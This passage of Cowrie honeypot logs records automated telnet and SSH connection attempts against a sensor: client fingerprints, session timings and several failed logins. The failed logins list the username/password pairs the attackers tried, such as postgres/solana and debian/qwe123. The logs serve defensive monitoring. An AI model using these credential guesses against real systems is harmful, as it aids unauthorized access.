-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:05.213775Z","src_ip":"152.32.130.174","session":"c7a27468ace6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":51506,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30d194cf072","protocol":"telnet","message":"New connection: 161.97.105.174:51506 (159.203.135.109:23) [session: b30d194cf072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:05.759535Z"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"1qaz2wsx","message":"login attempt [bitrix/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:06.116959Z","src_ip":"152.32.130.174","session":"c7a27468ace6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.07310938835144,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:06.923373Z","src_ip":"161.97.105.174","session":"a2136e60bcf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:07.338542Z","src_ip":"152.32.130.174","session":"c7a27468ace6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.638962268829346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:11.228812Z","src_ip":"161.97.105.174","session":"a734bc270c6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.6968252658844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:11.291978Z","src_ip":"161.97.105.174","session":"dd2d97d22b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50862,"dst_ip":"159.203.135.109","dst_port":23,"session":"be59780cc081","protocol":"telnet","message":"New connection: 161.97.105.174:50862 (159.203.135.109:23) [session: be59780cc081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:13.372515Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50874,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8084137d7e6","protocol":"telnet","message":"New connection: 161.97.105.174:50874 (159.203.135.109:23) [session: d8084137d7e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:14.154962Z"}
{"eventid":"cowrie.session.closed","duration":32.11237597465515,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:16.466343Z","src_ip":"161.97.105.174","session":"6725abe5ace2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50876,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdfda4396c08","protocol":"telnet","message":"New connection: 161.97.105.174:50876 (159.203.135.109:23) [session: bdfda4396c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:17.111892Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39236,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6861247edfb","protocol":"telnet","message":"New connection: 161.97.105.174:39236 (159.203.135.109:23) [session: f6861247edfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:18.661179Z"}
{"eventid":"cowrie.session.closed","duration":35.180694818496704,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:20.029472Z","src_ip":"161.97.105.174","session":"baf900cd3179","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39248,"dst_ip":"159.203.135.109","dst_port":23,"session":"f717c1a65dd1","protocol":"telnet","message":"New connection: 161.97.105.174:39248 (159.203.135.109:23) [session: f717c1a65dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:21.605459Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39262,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b0100b7f308","protocol":"telnet","message":"New connection: 161.97.105.174:39262 (159.203.135.109:23) [session: 9b0100b7f308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:21.777663Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42456,"dst_ip":"10.17.0.5","dst_port":22,"session":"16c761a68698","protocol":"ssh","message":"New connection: 193.32.162.145:42456 (10.17.0.5:22) [session: 16c761a68698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:22.176989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:22.182317Z","src_ip":"193.32.162.145","session":"16c761a68698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:22.326560Z","src_ip":"193.32.162.145","session":"16c761a68698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.48771619796753,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:22.373280Z","src_ip":"161.97.105.174","session":"50ae1a2352c5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"solana","message":"login attempt [postgres/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:22.665126Z","src_ip":"193.32.162.145","session":"16c761a68698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.608620166778564,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:22.847978Z","src_ip":"161.97.105.174","session":"15ba64098183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:23.786630Z","src_ip":"193.32.162.145","session":"16c761a68698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.111546754837036,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:24.408227Z","src_ip":"161.97.105.174","session":"c31f52d47b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39278,"dst_ip":"159.203.135.109","dst_port":23,"session":"93c1e4c4b109","protocol":"telnet","message":"New connection: 161.97.105.174:39278 (159.203.135.109:23) [session: 93c1e4c4b109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:24.771219Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":32838,"dst_ip":"10.17.0.5","dst_port":22,"session":"d38b1a7bf323","protocol":"ssh","message":"New connection: 202.125.94.71:32838 (10.17.0.5:22) [session: d38b1a7bf323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:30.642888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:30.648404Z","src_ip":"202.125.94.71","session":"d38b1a7bf323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.96164894104004,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:30.879487Z","src_ip":"161.97.105.174","session":"34c6e23c9297","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:30.913599Z","src_ip":"202.125.94.71","session":"d38b1a7bf323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rootuser","message":"login attempt [user/rootuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:32.004112Z","src_ip":"202.125.94.71","session":"d38b1a7bf323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:33.273961Z","src_ip":"202.125.94.71","session":"d38b1a7bf323","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.84858512878418,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:34.807904Z","src_ip":"161.97.105.174","session":"9b832d727667","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.00263166427612,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:36.535237Z","src_ip":"161.97.105.174","session":"5a319c89e400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.135.34.102","src_port":34618,"dst_ip":"10.17.0.5","dst_port":23,"session":"a31b81937a20","protocol":"telnet","message":"New connection: 206.135.34.102:34618 (10.17.0.5:23) [session: a31b81937a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:39.509359Z"}
{"eventid":"cowrie.session.closed","duration":36.122090578079224,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:41.881510Z","src_ip":"161.97.105.174","session":"b30d194cf072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.386131286621094,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:43.353754Z","src_ip":"161.97.105.174","session":"7912ae3020d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50658,"dst_ip":"159.203.135.109","dst_port":23,"session":"27d4fe1ae156","protocol":"telnet","message":"New connection: 161.97.105.174:50658 (159.203.135.109:23) [session: 27d4fe1ae156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:43.748041Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":50674,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9fe8b3cdded","protocol":"telnet","message":"New connection: 161.97.105.174:50674 (159.203.135.109:23) [session: e9fe8b3cdded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:45.276136Z"}
{"eventid":"cowrie.session.closed","duration":33.23419976234436,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:47.389052Z","src_ip":"161.97.105.174","session":"d8084137d7e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.817105531692505,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:48.189361Z","src_ip":"161.97.105.174","session":"be59780cc081","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44630,"dst_ip":"159.203.135.109","dst_port":23,"session":"25cdbf6e403e","protocol":"telnet","message":"New connection: 161.97.105.174:44630 (159.203.135.109:23) [session: 25cdbf6e403e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:48.684501Z"}
{"eventid":"cowrie.session.closed","duration":30.610897302627563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:49.271943Z","src_ip":"161.97.105.174","session":"f6861247edfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.29608392715454,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:50.407832Z","src_ip":"161.97.105.174","session":"bdfda4396c08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44636,"dst_ip":"159.203.135.109","dst_port":23,"session":"37a92f89e1c0","protocol":"telnet","message":"New connection: 161.97.105.174:44636 (159.203.135.109:23) [session: 37a92f89e1c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:51.411710Z"}
{"eventid":"cowrie.session.closed","duration":13.067810773849487,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:52.577039Z","src_ip":"206.135.34.102","session":"a31b81937a20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":38788,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e972dfeab4","protocol":"ssh","message":"New connection: 154.219.100.220:38788 (10.17.0.5:22) [session: 69e972dfeab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:53.701535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:53.706630Z","src_ip":"154.219.100.220","session":"69e972dfeab4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:53.913369Z","src_ip":"154.219.100.220","session":"69e972dfeab4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"aliali","message":"login attempt [ali/aliali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:54.769129Z","src_ip":"154.219.100.220","session":"69e972dfeab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.529494524002075,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:55.307022Z","src_ip":"161.97.105.174","session":"9b0100b7f308","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.581971168518066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:55.353096Z","src_ip":"161.97.105.174","session":"93c1e4c4b109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:55.977874Z","src_ip":"154.219.100.220","session":"69e972dfeab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.066362380981445,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:56.671689Z","src_ip":"161.97.105.174","session":"f717c1a65dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44650,"dst_ip":"159.203.135.109","dst_port":23,"session":"34714fa91de0","protocol":"telnet","message":"New connection: 161.97.105.174:44650 (159.203.135.109:23) [session: 34714fa91de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:57.751300Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":36274,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f9a0d9ffce6","protocol":"ssh","message":"New connection: 152.32.130.174:36274 (10.17.0.5:22) [session: 2f9a0d9ffce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:58.237848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:58.243129Z","src_ip":"152.32.130.174","session":"2f9a0d9ffce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:58.464513Z","src_ip":"152.32.130.174","session":"2f9a0d9ffce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"qwe123","message":"login attempt [debian/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:20:59.378758Z","src_ip":"152.32.130.174","session":"2f9a0d9ffce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:00.604112Z","src_ip":"152.32.130.174","session":"2f9a0d9ffce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53818,"dst_ip":"159.203.135.109","dst_port":23,"session":"529b276f478c","protocol":"telnet","message":"New connection: 161.97.105.174:53818 (159.203.135.109:23) [session: 529b276f478c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:05.134755Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53832,"dst_ip":"159.203.135.109","dst_port":23,"session":"011f602e5fed","protocol":"telnet","message":"New connection: 161.97.105.174:53832 (159.203.135.109:23) [session: 011f602e5fed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:05.552428Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53846,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c841408cd96","protocol":"telnet","message":"New connection: 161.97.105.174:53846 (159.203.135.109:23) [session: 8c841408cd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:06.880762Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":46282,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba19abcbd56","protocol":"telnet","message":"New connection: 161.97.105.174:46282 (159.203.135.109:23) [session: bba19abcbd56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:21:08.729048Z"}
